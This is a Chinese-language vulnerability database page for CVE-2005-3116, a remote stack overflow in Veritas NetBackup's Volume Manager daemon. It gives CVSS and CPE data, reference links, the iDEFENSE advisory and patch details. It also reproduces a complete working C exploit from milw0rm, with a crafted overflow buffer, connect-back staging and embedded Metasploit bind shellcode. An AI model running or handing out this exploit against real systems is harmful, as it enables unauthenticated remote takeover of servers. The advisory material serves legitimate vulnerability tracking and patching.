CVE-2005-3116
CVSS10.0
发布时间 :2005-11-18 01:03:00
修订时间 :2011-03-07 21:25:50
NMCOEPS    

[原文]Stack-based buffer overflow in a shared library as used by the Volume Manager daemon (vmd) in VERITAS NetBackup Enterprise Server 5.0 MP1 to MP5 and 5.1 up to MP3A allows remote attackers to execute arbitrary code via a crafted packet.


[CNNVD]Veritas NetBackup卷管理器守护程序溢出漏洞(CNNVD-200511-241)

        Veritas NetBackup是大型的数据备份应用系统。
        Veritas NetBackup的卷管理器守护进程实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。由于没有对用户输入执行正确的边界检查,Veritas NetBackup的vmd守护程序所使用的共享库中存在缓冲区溢出漏洞。远程攻击者可以利用这个漏洞中断备份功能,或在目标系统上以提升的权限执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:symantec_veritas:netbackup:5.1_without_mp
cpe:/a:symantec_veritas:netbackup:5.1_with_mp2
cpe:/a:symantec_veritas:netbackup:5.0_with_mp1
cpe:/a:symantec_veritas:netbackup:5.0_with_mp4
cpe:/a:symantec_veritas:netbackup:5.0_with_mp5
cpe:/a:symantec_veritas:netbackup:5.0_with_mp3
cpe:/a:symantec_veritas:netbackup:5.1_with_mp1
cpe:/a:symantec_veritas:netbackup:5.0_with_mp2
cpe:/a:symantec_veritas:netbackup:5.1_with_mp3a

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3116
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3116
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200511-241
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/574662
(PATCH)  CERT-VN  VU#574662
http://xforce.iss.net/xforce/xfdb/22985
(PATCH)  XF  netbackup-vmd-bo(22985)
http://www.securityfocus.com/bid/15353
(PATCH)  BID  15353
http://www.osvdb.org/20674
(PATCH)  OSVDB  20674
http://www.idefense.com/application/poi/display?id=336&type=vulnerabilities
(PATCH)  IDEFENSE  20051110 Stack Overflow in Veritas Netbackup Enterprise Server
http://seer.support.veritas.com/docs/279553.htm
(VENDOR_ADVISORY)  CONFIRM  http://seer.support.veritas.com/docs/279553.htm
http://securitytracker.com/id?1015170
(PATCH)  SECTRACK  1015170
http://securityresponse.symantec.com/avcenter/security/Content/2005.11.08b.html
(PATCH)  CONFIRM  http://securityresponse.symantec.com/avcenter/security/Content/2005.11.08b.html
http://secunia.com/advisories/17503
(VENDOR_ADVISORY)  SECUNIA  17503
http://www.vupen.com/english/advisories/2005/2349
(UNKNOWN)  VUPEN  ADV-2005-2349
http://www.securityfocus.com/archive/1/422157/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060117 Re: Veritas NetBackup "Volume Manager Daemon" Module Stack Overflow - Exploit
http://www.securityfocus.com/archive/1/422066/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060115 Veritas NetBackup "Volume Manager Daemon" Module Stack Overflow - Exploit

- 漏洞信息

Veritas NetBackup卷管理器守护程序溢出漏洞
危急 缓冲区溢出
2005-11-18 00:00:00 2007-02-02 00:00:00
远程  
        Veritas NetBackup是大型的数据备份应用系统。
        Veritas NetBackup的卷管理器守护进程实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。由于没有对用户输入执行正确的边界检查,Veritas NetBackup的vmd守护程序所使用的共享库中存在缓冲区溢出漏洞。远程攻击者可以利用这个漏洞中断备份功能,或在目标系统上以提升的权限执行任意指令。
        

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        http://support.veritas.com/menu_ddProduct_NBUESVR_view_DOWNLOAD.htm

- 漏洞信息 (1421)

Veritas NetBackup 4/5 Volume Manager Daemon Remote BoF Exploit (EDBID:1421)
windows remote
2006-01-16 Verified
13701 Patrick Thomassen
N/A [点击下载]
/*

	DESCRIPTION

	Veritas NetBackup Stack Overflow (tcp/13701)
	"Volume Manager Daemon" Module

	Advisories
	http://www.idefense.com/intelligence/vulnerabilities/display.php?id=336
	http://www.frsirt.com/english/advisories/2005/2349

	USAGE

	C:\NetBackup>nb 192.168.0.2 4444 192.168.0.200 0
	Veritas NetBackup v4/v5 "Volume Manager Daemon" Stack Overflow.
	Sending first buffer.
	Sending second buffer.

	C:\NetBackup>nc 192.168.0.200 4444
	Microsoft Windows 2000 [versie 5.00.2195]
	(C) Copyright 1985-2000 Microsoft Corp.

	C:\WINNT\system32>

	INFORMATION

	I wrote this just for educational purposes :).

	Because the buffer is only very small, I had to write small shellcode.
	The code is less than 100 bytes, and there are 6 bytes left. So there
	is still space to improve it. The stack seems to be static, every run
	at the exact same location.

	I used the Import Address Table (that looks like this):

	(taken from v5.1)
	Import Address Table
	00447230 (send)
	00447234 (recv)
	00447238 (accept)
	00447240 (listen)
	0044724C (connect)
	00447268 (closesocket)
	00447284 (bind)
	00447288 (socket)

	Using that shellcode I retrieve the "second" shellcode. This can be ANY
	code, and ANY size. No limitations.

	Tested on Windows 2000 Professional, Service Pack 4, Dutch.
	Tested on Veritas NetBackup 4.5, 5.0, 5.1 with some Maintenance Packs.
	(not all).

	Enjoy.

*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

DWORD WINAPI SendShellcode(LPVOID lpParam);
int iLocalOpenPort;

/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
char szShellcode[] =
	"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd2"
	"\x4a\xe7\xed\x83\xeb\xfc\xe2\xf4\x2e\x20\x0c\xa0\x3a\xb3\x18\x12"
	"\x2d\x2a\x6c\x81\xf6\x6e\x6c\xa8\xee\xc1\x9b\xe8\xaa\x4b\x08\x66"
	"\x9d\x52\x6c\xb2\xf2\x4b\x0c\xa4\x59\x7e\x6c\xec\x3c\x7b\x27\x74"
	"\x7e\xce\x27\x99\xd5\x8b\x2d\xe0\xd3\x88\x0c\x19\xe9\x1e\xc3\xc5"
	"\xa7\xaf\x6c\xb2\xf6\x4b\x0c\x8b\x59\x46\xac\x66\x8d\x56\xe6\x06"
	"\xd1\x66\x6c\x64\xbe\x6e\xfb\x8c\x11\x7b\x3c\x89\x59\x09\xd7\x66"
	"\x92\x46\x6c\x9d\xce\xe7\x6c\xad\xda\x14\x8f\x63\x9c\x44\x0b\xbd"
	"\x2d\x9c\x81\xbe\xb4\x22\xd4\xdf\xba\x3d\x94\xdf\x8d\x1e\x18\x3d"
	"\xba\x81\x0a\x11\xe9\x1a\x18\x3b\x8d\xc3\x02\x8b\x53\xa7\xef\xef"
	"\x87\x20\xe5\x12\x02\x22\x3e\xe4\x27\xe7\xb0\x12\x04\x19\xb4\xbe"
	"\x81\x19\xa4\xbe\x91\x19\x18\x3d\xb4\x22\xf6\xb1\xb4\x19\x6e\x0c"
	"\x47\x22\x43\xf7\xa2\x8d\xb0\x12\x04\x20\xf7\xbc\x87\xb5\x37\x85"
	"\x76\xe7\xc9\x04\x85\xb5\x31\xbe\x87\xb5\x37\x85\x37\x03\x61\xa4"
	"\x85\xb5\x31\xbd\x86\x1e\xb2\x12\x02\xd9\x8f\x0a\xab\x8c\x9e\xba"
	"\x2d\x9c\xb2\x12\x02\x2c\x8d\x89\xb4\x22\x84\x80\x5b\xaf\x8d\xbd"
	"\x8b\x63\x2b\x64\x35\x20\xa3\x64\x30\x7b\x27\x1e\x78\xb4\xa5\xc0"
	"\x2c\x08\xcb\x7e\x5f\x30\xdf\x46\x79\xe1\x8f\x9f\x2c\xf9\xf1\x12"
	"\xa7\x0e\x18\x3b\x89\x1d\xb5\xbc\x83\x1b\x8d\xec\x83\x1b\xb2\xbc"
	"\x2d\x9a\x8f\x40\x0b\x4f\x29\xbe\x2d\x9c\x8d\x12\x2d\x7d\x18\x3d"
	"\x59\x1d\x1b\x6e\x16\x2e\x18\x3b\x80\xb5\x37\x85\x22\xc0\xe3\xb2"
	"\x81\xb5\x31\x12\x02\x4a\xe7\xed";

char szBuffer[] =
	// We cannot use this small part.
	"a"
	"AAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAA"

	// Since the buffer is so small, we even need a part of
	// the SOCKADDR_IN structure. No problem.

	// struct sockaddr_in {
	"BB"					// sin_family
	"BB"					// sin_port
	"BBBB"					// in_addr
	// "BBBBBBBB"			// sin_zero
	// }

	// 'START'

	// Move the stackpointer. (0x0012F??? -> 0x0012F000)
	"\xC1\xEC\x0C"			// SHR ESP, 0x0C
	"\xC1\xE4\x0C"			// SHL ESP, 0x0C

	// Call socket().
	"\x33\xDB"				// XOR EBX, EBX
	"\x53"					// PUSH EBX
	"\x43"					// INC EBX
	"\x53"					// PUSH EBX
	"\x43"					// INC EBX
	"\x53"					// PUSH EBX
	"\xBB\x88\x72\x44\x00"	// MOV EBX, 447288 [socket()]
	"\xFF\x13"				// JMP DWORD PTR [EBX]
	"\x8B\xF8"				// MOV EDI, EAX
	// [edi -> socket]

	// Call connect().
	"\x33\xDB"				// XOR EBX, EBX
	"\xB3\x16"				// MOV BL, 16
	"\x53"					// PUSH EBX
	"\xBB\x60\xF3\x12\x00"	// MOV EBX, 12F360
	"\x53"					// PUSH EBX
	"\x57"					// PUSH EDI
	"\xBB\x4C\x72\x44\x00"	// MOV EBX, 44724C [connect()]
	"\xFF\x13"				// JMP DWORD PTR [EBX]

	// We need space.
	"\x8B\xD4"				// MOV EDX, ESP
	"\x80\xC6\x01"			// ADD DH, 1

	// Call recv().
	"\x33\xDB"				// XOR EBX, EBX
	"\x53"					// PUSH EBX
	"\x43"					// INC EBX
	"\xC1\xE3\x10"			// SHL EBX, 8 [1 -> 65536]
	"\x53"					// PUSH EBX
	"\x52"					// PUSH EDX
	"\x57"					// PUSH EDI
	"\xBB\x34\x72\x44\x00"	// MOV EBX, 447234 [recv()]
	"\xFF\x13"				// JMP DWORD PTR [EBX]

	// And again.
	"\x8B\xD4"				// MOV EDX, ESP
	"\x80\xC6\x01"			// ADD DH, 1

	// Jump to our shellcode.
	"\xFF\xE2"				// JMP EDX

	"O"
	"W"
	"N"
	"E"
	"D"
	"!"

	"\x68\xF3\x12\x00"		// Here our code starts :).
	"\x00\xF0\x12\x00";		// Just a random readable address.

// This is the NOT-interesting part :).

DWORD main(int argc, char *argv[]) {
	printf("Veritas NetBackup v4/v5/v6 \"Volume Manager Daemon\" Stack Overflow.\n");

	// We need a local port and ip because our first buffer is way too small
	// to contain our complete shellcode. We use a small shellcode first to
	// retrieve the second shellcode. The only method that fitted as first
	// shellcode was a connect-back shellcode. For the second we got LOADS of
	// space :).
	if (argc<5) {
		printf("Usage: %s <local ip> <local port> <remote ip> <type>\n\n", argv[0]);
		printf("Types (tested):\n");
		printf(" 0 - NetBackup v5.0_1A\n");
		printf("     NetBackup v5.0_2\n");
		printf("     NetBackup v5.0_3\n");
		printf("     NetBackup v5.1\n\n");
		return NULL;
	}

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	sockaddr_in strTarget;
	memset(&strTarget, 0, sizeof(strTarget));
	strTarget.sin_addr.s_addr = inet_addr(argv[3]);
	strTarget.sin_family = AF_INET;
	strTarget.sin_port = htons(13701);

	iLocalOpenPort = atoi(argv[2]);
	HANDLE hStage2 = CreateThread(NULL, 0, SendShellcode, 0, 0, 0);

	SOCKET sTarget = socket(AF_INET, SOCK_STREAM, 0);
	int iResult = connect(sTarget, (struct sockaddr *)&strTarget, sizeof(strTarget));

	if (iResult != SOCKET_ERROR) {
		printf("Sending first buffer.\n");
		// Fill in the structure.
		unsigned long family = AF_INET;
		memcpy(szBuffer + 80, &family, 2);
		unsigned long port = htons(iLocalOpenPort);
		memcpy(szBuffer + 82, &port, 2);
		unsigned long ip = inet_addr(argv[1]);
		memcpy(szBuffer + 84, &ip, 4);

		send(sTarget, szBuffer, sizeof(szBuffer)-1, 0);
		closesocket(sTarget);
	}

	WaitForSingleObject(hStage2, 3000);
	WSACleanup();
	return NULL;
}

DWORD WINAPI SendShellcode(LPVOID lpParam) {
	SOCKET sTarget;
	SOCKET sAccept;
	struct hostent *hp;
	struct sockaddr_in strTarget;
	struct sockaddr_in strAccept;

	int iStrSize = sizeof(strTarget);

	memset(&strTarget, 0, sizeof(strTarget));
	strTarget.sin_addr.s_addr = INADDR_ANY;
	strTarget.sin_family = AF_INET;
	strTarget.sin_port = htons(iLocalOpenPort);

	sTarget = socket(AF_INET, SOCK_STREAM, 0);
	bind(sTarget, (struct sockaddr *)&strTarget, iStrSize);
	listen(sTarget, 2);
	sAccept = accept(sTarget, (struct sockaddr *)&strAccept, &iStrSize);

	if (sAccept != INVALID_SOCKET) {
		printf("Sending second buffer.\n");
		send(sAccept, szShellcode, sizeof(szShellcode) - 1, 0);
		closesocket(sAccept);
	}

	return NULL;
}

// milw0rm.com [2006-01-16]
		

- 漏洞信息 (F43245)

veritasOverflow.c (PacketStormID:F43245)
2006-01-21 00:00:00
Patrick Thomassen  
exploit,remote,overflow
CVE-2005-3116
[点击下载]

Veritas NetBackup v4/v5 "Volume Manager Daemon" remote stack overflow exploit.

- 漏洞信息 (F41491)

iDEFENSE Security Advisory 2005-11-10.1 (PacketStormID:F41491)
2005-11-12 00:00:00
iDefense Labs  idefense.com
advisory,remote,denial of service,overflow,code execution
CVE-2005-3116
[点击下载]

iDEFENSE Security Advisory 11.10.05 - Exploitation of a buffer overflow vulnerability in Veritas Netbackup could lead to a remote Denial Of Service or remote code execution. The Veritas Netbackup Volume Manager keeps track of the location of volumes (tapes) needed for backup or restore. By sending a specially crafted packet to the Volume Manager stack overflow occurs. This is caused by improper bounds checking. Confirmed vulnerable: Veritas Netbackup 5.0 with MP1 (vmd.exe 5.0.0.370), Veritas Netbackup 5.0 with MP2 (vmd.exe 5.0.0.372), Veritas Netbackup 5.0 with MP3 (vmd.exe 5.0.0.377), Veritas Netbackup 5.0 with MP4 (vmd.exe 5.0.0.382), Veritas Netbackup 5.0 with MP5 (vmd.exe 5.0.0.387), Veritas Netbackup 5.1 without MP (vmd.exe 5.1.0.135), Veritas Netbackup 5.1 with MP1 (vmd.exe 5.1.0.140), Veritas Netbackup 5.1 with MP2 (vmd.exe 5.1.0.146), Veritas Netbackup 5.1 with MP3A (vmd.exe 5.1.0.150).

Stack Overflow in Veritas Netbackup Enterprise Server 

iDEFENSE Security Advisory 11.10.05
www.idefense.com/application/poi/display?id=336&type=vulnerabilities
November 10, 2005

I. BACKGROUND

VERITAS NetBackup Enterprise Server delivers mainframe-class data 
protection for the largest UNIX, Windows, Linux, and NetWare enterprise 
environments, especially for corporate data centers. 

http://veritas.com/Products/www?c=product&refId=2

VERITAS NetBackup Server software is cost-effective heterogeneous backup and
recovery solution designed for mid-size organizations, workgroups, and
remote
offices. 

II. DESCRIPTION

Exploitation of a buffer overflow vulnerability in Veritas Netbackup
could lead to a remote Denial Of Service or remote code execution. The
Veritas Netbackup Volume Manager keeps track of the location of volumes 
(tapes) needed for backup or restore. 

By sending a specially crafted packet to the Volume Manager stack overflow
occurs.
This is caused by improper bounds checking. 

III. ANALYSIS

Exploitation does not require authentication, thereby allowing any remote
attacker to take over the entire system or to disrupt the backup
capabilities. 

IV. DETECTION

The following versions are confirmed vulnerable:

- Veritas Netbackup 5.0 with MP1 (vmd.exe 5.0.0.370) 
- Veritas Netbackup 5.0 with MP2 (vmd.exe 5.0.0.372) 
- Veritas Netbackup 5.0 with MP3 (vmd.exe 5.0.0.377) 
- Veritas Netbackup 5.0 with MP4 (vmd.exe 5.0.0.382) 
- Veritas Netbackup 5.0 with MP5 (vmd.exe 5.0.0.387) 
- Veritas Netbackup 5.1 without MP (vmd.exe 5.1.0.135) 
- Veritas Netbackup 5.1 with MP1 (vmd.exe 5.1.0.140) 
- Veritas Netbackup 5.1 with MP2 (vmd.exe 5.1.0.146) 
- Veritas Netbackup 5.1 with MP3A (vmd.exe 5.1.0.150) 

V. WORKAROUND

Use a firewall to restrict incoming connections to trusted workstations
running the Backup Exec client software, which uses port 13701 TCP.
Latter details released by Symantec state that the vulnerable code may
be able to be exploited through other NetBackup ports/services.

VI. VENDOR RESPONSE

The vendor has released the following advisory to address this
vulnerability:

 http://seer.support.veritas.com/docs/279553.htm

Patches for NetBackup 5.0 and 5.1 are available from the following location:

 http://support.veritas.com/menu_ddProduct_NBUESVR_view_DOWNLOAD.htm

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-3116 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

09/14/2005 Initial vendor notification
09/14/2005 Initial vendor response
11/10/2005 Public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright C 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
    

- 漏洞信息

20674
VERITAS NetBackup vmd Shared Library Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public, Exploit Commercial Vendor Verified

- 漏洞描述

A remote overflow exists in NetBackup. A shared library used by vmd (volume manager daemon) fails to validate user-supplied input resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-11-08 Unknow
2006-01-16 2005-11-08

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Symantec has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

VERITAS NetBackup Volume Manager Daemon Buffer Overflow Vulnerability
Boundary Condition Error 15353
Yes No
2005-11-08 12:00:00 2006-01-16 02:40:00
Discovery is credited to an anonymous source.

- 受影响的程序版本

Veritas Software NetBackup Server 5.1
Veritas Software NetBackup Server 5.0
Veritas Software NetBackup Enterprise Server 5.1
Veritas Software NetBackup Enterprise Server 5.0
Veritas Software NetBackup Client 5.1
Veritas Software NetBackup Client 5.0

- 漏洞讨论

VERITAS NetBackup is prone to a buffer overflow in the Volume Manager Daemon. Successful exploitation could result in a denial of service or arbitrary code execution.

This issue only affects NetBackup 5.0 and 5.1.

- 漏洞利用

Exploit code has been released by Patrick Thomassen.

- 解决方案

Fixes are available:


Veritas Software NetBackup Client 5.0

Veritas Software NetBackup Server 5.0

Veritas Software NetBackup Enterprise Server 5.0

Veritas Software NetBackup Server 5.1

Veritas Software NetBackup Client 5.1

Veritas Software NetBackup Enterprise Server 5.1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站